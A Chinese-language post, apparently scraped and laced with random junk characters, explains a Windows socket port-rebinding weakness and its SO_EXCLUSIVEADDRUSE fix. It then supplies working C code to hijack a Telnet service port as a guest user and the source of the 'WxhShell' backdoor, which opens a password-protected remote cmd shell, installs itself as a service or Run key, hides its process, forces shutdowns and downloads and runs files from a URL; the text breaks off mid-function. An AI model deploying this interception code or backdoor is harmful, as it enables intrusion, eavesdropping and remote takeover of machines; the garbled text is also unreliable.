在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
X#fI$9a s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FTn[$q 5u8 YHv saddr.sin_family = AF_INET;
hhpH)Bi= eG<32$I saddr.sin_addr.s_addr = htonl(INADDR_ANY);
i4l?q#X sBh|y F, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/h;X1Htx} ?6|EAKJ`lK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
awUIYAgJ3 ]Kd:ZmJ 这意味着什么?意味着可以进行如下的攻击:
9tJiIr8i '{EDdlX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)%0#XC^/X5 fz%urbJR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
crUXpD dS-l2 $n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2Tp.S3 ~<aCn-h0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a`}HFHm\2, F2#^5s( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>R6Me*VR Vki3D'.7N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
UGIyNMY oY &r76 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
PR6{Y]e% h[Hw9$31 #include
`5
bHZ #include
4:7z9h] #include
tjGQ0-Lo #include
qT(j%F DWORD WINAPI ClientThread(LPVOID lpParam);
t6j|q nfw int main()
2$|WXYY {
IRLT- WORD wVersionRequested;
<EJC.WWJa DWORD ret;
/"
,]J WSADATA wsaData;
Av{1~%hU BOOL val;
Rv }e+5F SOCKADDR_IN saddr;
'/mwXvl SOCKADDR_IN scaddr;
'wDNP_ int err;
P9gIKOOx#4 SOCKET s;
}I!D65-#' SOCKET sc;
J?V8uEly int caddsize;
hW]:CIqk HANDLE mt;
7 'N&jI DWORD tid;
rTQrlQ:@ wVersionRequested = MAKEWORD( 2, 2 );
94Are< err = WSAStartup( wVersionRequested, &wsaData );
U:p<pTnMR if ( err != 0 ) {
TRa|}JaI" printf("error!WSAStartup failed!\n");
B#8!8 return -1;
hl8[A-d(R }
mI-$4st] saddr.sin_family = AF_INET;
8|gwH2st~ @hp@*$#& 9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E`BL3+k Q
EP*"=_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
7D<M\l8G saddr.sin_port = htons(23);
5G|(od3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(Zp'|hx8o {
Fq:BRgCE printf("error!socket failed!\n");
y<MXd,eE return -1;
oQAD
3a }
c&ymVB?G:1 val = TRUE;
RCKb5p9 //SO_REUSEADDR选项就是可以实现端口重绑定的
n"*A. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
#Fq6-]y1") {
{eL XVNR7R printf("error!setsockopt failed!\n");
Y}QtgZEt return -1;
YjAwt;%-D }
re:=fC:t5A //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U2seD5I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xwq {0jY //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
h?jKq2`
ar }F^8Ku if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y\]:&)?&C^ {
,iV|^]X3$/ ret=GetLastError();
6cDe_v|, printf("error!bind failed!\n");
O1Vs! return -1;
!{jDZ?z{h }
qq
G24**9v listen(s,2);
Y<odXFIS while(1)
M, f6UYo= {
n'>`2 s caddsize = sizeof(scaddr);
#fd;] //接受连接请求
A@4sb
W_
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.*+%-%CbP if(sc!=INVALID_SOCKET)
{94qsVxQZ {
eh`n?C mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,ir(~g+{g if(mt==NULL)
eT0Yp {
c"~+Y2]tL printf("Thread Creat Failed!\n");
0CX2dk"UB^ break;
K 0R<a~ }
u[k0z!p_ c }
DAa??/,x7 CloseHandle(mt);
*Yj!f6 8 }
JlR(U." closesocket(s);
8`M) r'5 WSACleanup();
2NB/&60< return 0;
}f45>@uMW }
1ayL*tr DWORD WINAPI ClientThread(LPVOID lpParam)
L;6L@D6 {
$}+t|`*q8] SOCKET ss = (SOCKET)lpParam;
UDl[ SOCKET sc;
,ELbm unsigned char buf[4096];
_P,3~ ; SOCKADDR_IN saddr;
9}G.F r long num;
AUBZ7*VO DWORD val;
N;gI %6 DWORD ret;
?>
)(;Ir9 //如果是隐藏端口应用的话,可以在此处加一些判断
u)J&3Ah% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Mwm9{1{ saddr.sin_family = AF_INET;
P3Ocfpf Bp saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^26vP7 saddr.sin_port = htons(23);
VEFUj&t;xW if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:Aq==N_/2 {
R<]f[ printf("error!socket failed!\n");
NpqK+GO return -1;
hUR>NUK@8 }
_!_%Afz val = 100;
xYSNop3_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_=$:<wIE[ {
w\SfzJN ret = GetLastError();
x`9IQQ return -1;
0q}k"(9 }
HFlMx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,0k3Qi% {
4@0y$Dv\ ret = GetLastError();
[ H|ifi return -1;
|%\>+/j$ }
$1KvL8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
cug=k {
.A%*AlX printf("error!socket connect failed!\n");
V[#eeH)/ closesocket(sc);
m6+4}= Cn closesocket(ss);
B\*"rSP\ return -1;
s&.VU|=VQ@ }
NW?.Ge.!P while(1)
-0P(lkylf {
zw,( kv //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
KcPI,.4{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
ny++U;qi //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
T'8d|$X num = recv(ss,buf,4096,0);
85gdmla@9 if(num>0)
s[2>r#M send(sc,buf,num,0);
s\/$`fuhx else if(num==0)
m6wrG`-di break;
{@E(p4W num = recv(sc,buf,4096,0);
^&8FwV] if(num>0)
q/qJkr^2 send(ss,buf,num,0);
)+L.$h else if(num==0)
+T!7jC(O
Q break;
pA?kv]l( }
ip)gI&kN`z closesocket(ss);
HnlCEW,^o closesocket(sc);
#cGn5c} return 0 ;
m0M;f+^ }
o!$O+%4 crvq]J5 "1I\~]] ==========================================================
@vHj>N ]'q"Kw/10 下边附上一个代码,,WXhSHELL
V =9 jt5:rWB ==========================================================
iup "P `PH]_]:% #include "stdafx.h"
caH!(V}6 Aq3.%,X2H #include <stdio.h>
6v1F.u #include <string.h>
jVdRy{MH #include <windows.h>
?mq<#/qb #include <winsock2.h>
t?l0L1; #include <winsvc.h>
:n0czO6E #include <urlmon.h>
?j:U<TY) K3*8-Be #pragma comment (lib, "Ws2_32.lib")
MdKkj[# #pragma comment (lib, "urlmon.lib")
~[[(_C3 mu$0x) #define MAX_USER 100 // 最大客户端连接数
jXH?os% #define BUF_SOCK 200 // sock buffer
{BI5lvx: #define KEY_BUFF 255 // 输入 buffer
=CqZ $ e09('SON( #define REBOOT 0 // 重启
$_5a1Lq1 #define SHUTDOWN 1 // 关机
D^-6=@<3KD 09_5niaz[ #define DEF_PORT 5000 // 监听端口
SW; %2 x )w6 #define REG_LEN 16 // 注册表键长度
9$Dsm@tX #define SVC_LEN 80 // NT服务名长度
Z23*`yR (U?*Z/ // 从dll定义API
wgPkSsuBuC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'.$va< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
hO?RsYJ.F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
f%gdFtJ & typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q'9}Hz ]
-}Zd\Rs // wxhshell配置信息
W|,Y*l struct WSCFG {
8`]1Nt!*B int ws_port; // 监听端口
$>*TO1gb+ char ws_passstr[REG_LEN]; // 口令
Y;I>rC( int ws_autoins; // 安装标记, 1=yes 0=no
P/?'ea char ws_regname[REG_LEN]; // 注册表键名
c|hT\1XR, char ws_svcname[REG_LEN]; // 服务名
rY:A LA char ws_svcdisp[SVC_LEN]; // 服务显示名
=G<i6%(^g char ws_svcdesc[SVC_LEN]; // 服务描述信息
7SVqfWp char ws_passmsg[SVC_LEN]; // 密码输入提示信息
K (!+l int ws_downexe; // 下载执行标记, 1=yes 0=no
?7k%4~H t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kD?lMA__ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
a}p}G\b| :Sc"fG,g) };
3*<?'O7I0 5vSJjhS // default Wxhshell configuration
&:@)roCR struct WSCFG wscfg={DEF_PORT,
|G(9mnZ1 "xuhuanlingzhe",
@!np
0# 1,
"j*{7FBqk "Wxhshell",
.$~zxd#zo "Wxhshell",
wR@"]WkR= "WxhShell Service",
:=cZ,?PQp1 "Wrsky Windows CmdShell Service",
%HWebZ-yY "Please Input Your Password: ",
V'Z Z4og 1,
uW{;@ 7N "
http://www.wrsky.com/wxhshell.exe",
9\J6G8b>|I "Wxhshell.exe"
@o/126(k };
*=
;M',nx _X/`7!f // 消息定义模块
yKb+bm&5:' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
NpLO_- char *msg_ws_prompt="\n\r? for help\n\r#>";
YEiQ`sYKG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Lbwc2Q,.- char *msg_ws_ext="\n\rExit.";
gq|]t<' char *msg_ws_end="\n\rQuit.";
<RaUs2Q3. char *msg_ws_boot="\n\rReboot...";
E(p*B8d char *msg_ws_poff="\n\rShutdown...";
:d{-"RAG" char *msg_ws_down="\n\rSave to ";
-RK R., W!=X_ char *msg_ws_err="\n\rErr!";
xZc].l6 char *msg_ws_ok="\n\rOK!";
O86[`, b,r{wrLe) char ExeFile[MAX_PATH];
%xuJQuCqf int nUser = 0;
7}%Z> HANDLE handles[MAX_USER];
'2=$pw int OsIsNt;
}Kt1mmo:` %K/zVYGm& SERVICE_STATUS serviceStatus;
Z!eW_""wp SERVICE_STATUS_HANDLE hServiceStatusHandle;
^Ee"w7XjD
p~bx // 函数声明
At$[&%} int Install(void);
@SX-=Nr int Uninstall(void);
='z4bU int DownloadFile(char *sURL, SOCKET wsh);
Yb?L:,a(I int Boot(int flag);
41oXOB void HideProc(void);
ymo]. int GetOsVer(void);
[19QpK WM int Wxhshell(SOCKET wsl);
P;7
Y9} void TalkWithClient(void *cs);
/t=Fx94 int CmdShell(SOCKET sock);
X:kqX[\> int StartFromService(void);
q37d:Hp int StartWxhshell(LPSTR lpCmdLine);
|%~Zo:Q<$> T-)lnrs^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
1Ax{Y#< VOID WINAPI NTServiceHandler( DWORD fdwControl );
|J+oz7l?- 2zN"*Wkn // 数据结构和表定义
>"?jW@|g SERVICE_TABLE_ENTRY DispatchTable[] =
>\s8S}p {
QRFBMq}' {wscfg.ws_svcname, NTServiceMain},
M:/)|fk {NULL, NULL}
wRsh@I< };
Mep
ct `"RT(` m // 自我安装
LEn+0^hX int Install(void)
}T1.~E {
FA7q
pc char svExeFile[MAX_PATH];
~[ZRE @ HKEY key;
E9 6`
aF{] strcpy(svExeFile,ExeFile);
WT_4YM\bz :SJxG&Pm=~ // 如果是win9x系统,修改注册表设为自启动
5!V%0EQqw if(!OsIsNt) {
C;jV)hr6P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qC:QY6g$N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jBLLx{ RegCloseKey(key);
^=.QQo||B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=,w(D~ps RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bZf}m=C! RegCloseKey(key);
efUa[XO return 0;
Wfp>BC }
'fS&WVR? }
i8Xz'Sw07 }
FhJtiw@ else {
0T7c =5z4W {$P')>/ // 如果是NT以上系统,安装为系统服务
yO*HJpc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
qS?uMms7w if (schSCManager!=0)
dK d"2+fH {
@0[#XA_> SC_HANDLE schService = CreateService
8H@] v@Z2 (
;t\oM7J| schSCManager,
Je &O wscfg.ws_svcname,
~`Rb"Zn wscfg.ws_svcdisp,
8kYI ~ SERVICE_ALL_ACCESS,
DU|>zO% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
AU3>v SERVICE_AUTO_START,
W:S?_JM SERVICE_ERROR_NORMAL,
]X\p\n'@j svExeFile,
'MK"*W8QRM NULL,
7M, (!*b NULL,
[$e\?c NULL,
`:#IZ NULL,
lNbAt4]}f( NULL
Rn9e#_ Az );
,qu7XFYrY if (schService!=0)
^_5t5> {
d]r?mnN W CloseServiceHandle(schService);
MiN|u CloseServiceHandle(schSCManager);
kR/Etm5_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+rWcfXOHM strcat(svExeFile,wscfg.ws_svcname);
]@wKm1%v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
c\DMeYrg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}-N4D"d4o RegCloseKey(key);
F|bg2)|du8 return 0;
.g?Ppma }
6R'z3[K9 }
';zS0Yk CloseServiceHandle(schSCManager);
a?1lj,"~R }
)uRR!<"~ }
sDl@ 7?"-:q return 1;
3{H&{@Q }
e#!,/pE dj2w_:&W // 自我卸载
hEMS int Uninstall(void)
j^6,V\;l {
:3A^5}iz HKEY key;
AOv>O52F/Q moCr4*jDX, if(!OsIsNt) {
6(8zt"E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n=A}X4^ RegDeleteValue(key,wscfg.ws_regname);
["0DXm%t RegCloseKey(key);
iT=h}> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
bR*}
s/ RegDeleteValue(key,wscfg.ws_regname);
RXw }Tb/D8 RegCloseKey(key);
pF<KhE*V return 0;
`dJ?j[P,p }
S5/p3;O\c }
p|n!R $_g\ }
q_86nvB< else {
oCSJ<+[(C =z*SzG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
N~vK8j@ if (schSCManager!=0)
OICH:(t_ {
uFnq 3m^u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
63HtZ=hO7 if (schService!=0)
]FEsN6 {
>=K~*$&> if(DeleteService(schService)!=0) {
<RCeY(1 CloseServiceHandle(schService);
*hlinQKs CloseServiceHandle(schSCManager);
[13NhF3.P return 0;
M,sZ8eeq }
\2[sUY<W CloseServiceHandle(schService);
)^7- qy }
Rja>N)MzBf CloseServiceHandle(schSCManager);
'#u=wyp }
0)Q*u }
qk=OodEMK Yv"-_ return 1;
KvmXRf*z }
:RDQP U"OA m} // 从指定url下载文件
i?n#ge int DownloadFile(char *sURL, SOCKET wsh)
<(_${zR {
Gdv{SCV HRESULT hr;
QRHM#v S char seps[]= "/";
!laOiH char *token;
T)mh char *file;
|vY|jaV} char myURL[MAX_PATH];
:u|F>e char myFILE[MAX_PATH];
,+!|~1 qF4=MQm\aE strcpy(myURL,sURL);
%o_CD>yD token=strtok(myURL,seps);
;\
gat)0n% while(token!=NULL)
Y@MFH>* {
"O<TNSbrC file=token;
!m?W+z~J token=strtok(NULL,seps);
cv9-ZOxJ }
Xp~O?2:3l +^3
*Y"6Z GetCurrentDirectory(MAX_PATH,myFILE);
)NnkoCNeE strcat(myFILE, "\\");
DEt;$>tl
5 strcat(myFILE, file);
"#]V^Rzxh send(wsh,myFILE,strlen(myFILE),0);
(d# W3 send(wsh,"...",3,0);
qbKcI+)47 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
YJ{_%z|U if(hr==S_OK)
q],/%W return 0;
# 66vkf* else
j1K?QH=e#{ return 1;
>=YQxm}GJ i+~H~k}"X }
@T)>akEOt YzYj/,?r // 系统电源模块
/Y8{? int Boot(int flag)
0pA>w8 mh {
B+lnxr0t HANDLE hToken;
aj}#~v1 TOKEN_PRIVILEGES tkp;
hD,@>ky VL2ACv( if(OsIsNt) {
$o^N_`l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
v2 }>/b) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<zp|i#~ tkp.PrivilegeCount = 1;
H;Gd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bix}#M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
SOeRQb' if(flag==REBOOT) {
ZqfoO!Ta if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(5>IF,}!L return 0;
2YpJ4. }
e89IT* else {
6&L8{P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
G`NGt_C return 0;
#.|MV}6rQ }
7-c3^5gn{ }
X -_0wR else {
2fG[q3` if(flag==REBOOT) {
K!;>/3Y2- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Kbcr-89Gv~ return 0;
O>>%lr| }
e@L?jBj8m else {
%J:2y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4H hQzVM{ return 0;
GtkZ%<KF9 }
H#B97IGT }
=EUi|T4: ?Bsc;:KF return 1;
!N\i9w} }
^\FOMGai 3/*<i // win9x进程隐藏模块
AUPTtc`#Y void HideProc(void)
Bu#\W {
Mf`@X[-; -_fh=}.n+" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
g BV66L if ( hKernel != NULL )
<26Jif: {
q[TW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Q9sxI}D )R ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\ O+Hmi^ FreeLibrary(hKernel);
ux1SQ8C * }
OB\jq!" JV;-P=o1B return;
HKYJgx }
*Zz hN]1 YHI@Cj // 获取操作系统版本
pLsJa?}R int GetOsVer(void)
@H|3e@5([ {
#<gD@Jyb u OSVERSIONINFO winfo;
nHIW_+<Mf winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
crRYgr GetVersionEx(&winfo);
v9l|MI15V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+t<'{KZ7; return 1;
Hb@PQcj else
,Cj` 0v# return 0;
R;F z"J }
)r6d3-p1 H1a<&7 // 客户端句柄模块
Rx.dM_S int Wxhshell(SOCKET wsl)
3L-}B#tI {
P{o //M SOCKET wsh;
I]0
D*z struct sockaddr_in client;
Ugv"A;l DWORD myID;
Lb%:u5X\D@ [TX5O\g![ while(nUser<MAX_USER)
/PgcW {
^:,I #] int nSize=sizeof(client);
"[wP1n!G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"yc@_+"\+ if(wsh==INVALID_SOCKET) return 1;
o7t#yw3 }XIUz| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ec"+Il if(handles[nUser]==0)
Oo8"s+G closesocket(wsh);
d(;Qe}ok> else
DT>Giic nUser++;
aDVBi: _ }
TZ]o6B b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\,yX3R3}.~ <hmRr return 0;
KcF#c_f
}
=Vi>?fWpn= AJR`ohh // 关闭 socket
cj9<! "6 void CloseIt(SOCKET wsh)
FdMxw*} {
)L%[(iI,x closesocket(wsh);
1bpjj'2%x nUser--;
wsyAq'%L ExitThread(0);
b%D}mxbS }
ky|Py h-=lZ~W~ // 客户端请求句柄
-`} d@x void TalkWithClient(void *cs)
Kf'oXCs {
J?84WS `HJRXoLySW SOCKET wsh=(SOCKET)cs;
J G3#(DVc; char pwd[SVC_LEN];
~6O<5@k char cmd[KEY_BUFF];
,[|4{qli\ char chr[1];
e$=0.GWT int i,j;
t+m
ug -KFozwr5/ while (nUser < MAX_USER) {
zIh`Vw ,t0 m{C if(wscfg.ws_passstr) {
Y+e a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3ew`e"s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;-@v1I; //ZeroMemory(pwd,KEY_BUFF);
q8P$Md-=b1 i=0;
=#sr4T while(i<SVC_LEN) {
Uh8c!CA8:\ "[p-Iy1 // 设置超时
\1cJ?/$_Of fd_set FdRead;
?(P3ZTk?. struct timeval TimeOut;
LFT)_DG7( FD_ZERO(&FdRead);
;PF!=8dW FD_SET(wsh,&FdRead);
KI~M.2pk TimeOut.tv_sec=8;
n0<I TimeOut.tv_usec=0;
K!BS?n; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,]qTJ`J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Gs)2HR@> `]3A#y)v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
mQy!*0y pwd
=chr[0]; Y> f 6
if(chr[0]==0xd || chr[0]==0xa) { C6cEt5
pwd=0; L>1i~c&V
break; Gtpl5g QH
} i\z ,)xp
i++; .iXIoka
} jj8h>"d
@O Rk
// 如果是非法用户,关闭 socket euc|G Xs
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *mTx0sQz(J
} 1Wy0#?L
UA]U_P$c
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jx_BjkF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s6| S#
y?*4SLy
while(1) { MH=;[ | N
Zcg@]Sx(I
ZeroMemory(cmd,KEY_BUFF); K84VeAe
f hS4Gb_
// 自动支持客户端 telnet标准 z6f N)kw
j=0; ^P
!}"
while(j<KEY_BUFF) { K|g+Wt^tQ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fkmN?CU{1%
cmd[j]=chr[0]; 8s#2Zv
if(chr[0]==0xa || chr[0]==0xd) { ae`6hW2
cmd[j]=0; M
h5>@-fEE
break; A9L
{c!|-
} F;;\I
j++; %an&lcoX
} C!Oz'~l
.PJCBTe
// 下载文件 LIZsDTU
if(strstr(cmd,"http://")) { XAF*jevr
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qH1&tW$
if(DownloadFile(cmd,wsh)) E+xC1U
3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NwPC9!*
else smTPca)7s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hxQx$
} JXA!l?%
else { m0zbG1OE
B %Vz -t
switch(cmd[0]) { -AcVVK&
cgevP`*]
// 帮助 Y ~%9TC
case '?': { oe*Y(T\G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 27q=~R}
break; "Gh5
^$w?j
} ql_GN[c/
// 安装 uiQR RT
case 'i': { G34fxhh
if(Install()) krI@N}OU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o@!Uds0
else J;AwC>N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y3RaR
9
break; W+&<C#1|]
} F T/STI
// 卸载 z1R_a=7
case 'r': { "cVJqW
if(Uninstall()) jj$D6f/mOG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7g&"clRGO
else oP CtLz}z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x'IYWo
]
break; r{pbUk
} *t3uj
// 显示 wxhshell 所在路径 g4-UBDtYt
case 'p': { K[~fpQGbV1
char svExeFile[MAX_PATH]; mv;;0xH
strcpy(svExeFile,"\n\r"); -{ M(1vV(=
strcat(svExeFile,ExeFile); N& 683z
send(wsh,svExeFile,strlen(svExeFile),0); 5U!yc7eBI/
break; n?=d)[]
} fCa*#ME
// 重启 }cPH}[$zF
case 'b': { ljw(cUM
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -h?ed'e/zz
if(Boot(REBOOT)) 6b6rM%B.oD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EFqYEDXW
else { )W1tBi
closesocket(wsh); D`e6#1DbJ
ExitThread(0); Svun
RUE-f
} uKL4cr@
break; @j/|U04_Z
} .Fe_Z)i>h
// 关机 [W#M(`}D
case 'd': { :3aZ_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q eZg l!
if(Boot(SHUTDOWN)) S_ELV#X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \J0fr'(S
else { E[8R
)xC@
closesocket(wsh); <<5x"W(,
ExitThread(0); LI`H,2Km
} [')C]YQb=
break; W#@Mx
} ZqK1|/\
rh
// 获取shell {/E_l
case 's': { CqkY_z
CmdShell(wsh); @7j$$
closesocket(wsh); sJ
!<qb5 !
ExitThread(0); .WV5Gf)
break; %c"t`
} nA)KRCi
// 退出 [d^ [Y:I'\
case 'x': { a58]#L~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5H!6#pqM
CloseIt(wsh); LeTOVgjA|
break; )U5Ba^"fI
} }JlrWJRi
// 离开 EK=PY
case 'q': { 7q;wj~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q]7}"B&
closesocket(wsh); 1> IA9]D7
WSACleanup(); z3mo2e
exit(1); S+*g
break; ZKp9k6
} |JVp(Kx
} #P)(/>nF
} u P&<
"t!_bma
// 提示信息 J7Y lmi
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Bl1^\[#
} *< ?~
} p1`")$
p.@_3^#|
return; > %B7/l$
} X7Z=@d(
id:6O+\
// shell模块句柄 iR39lOr
int CmdShell(SOCKET sock) \>N"{T
{ L2}p<?f
STARTUPINFO si; n{8v^x
ZeroMemory(&si,sizeof(si)); z\zqmW6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2[QyH'"^E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,JONc9
PROCESS_INFORMATION ProcessInfo; 3U!#rz"
char cmdline[]="cmd"; (\o &Gl
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <#%kmYSL
return 0; dm`:']?
} U0fr\kM
z5q(
// 自身启动模式 c)B
<d#
int StartFromService(void) 9JBVG~m+
{ 25wvB@0&
typedef struct e4<[|B!O
{ o)r%4YOL
DWORD ExitStatus; x4^*YZc$,
DWORD PebBaseAddress; qtYVX:M@,
DWORD AffinityMask; h'|J$
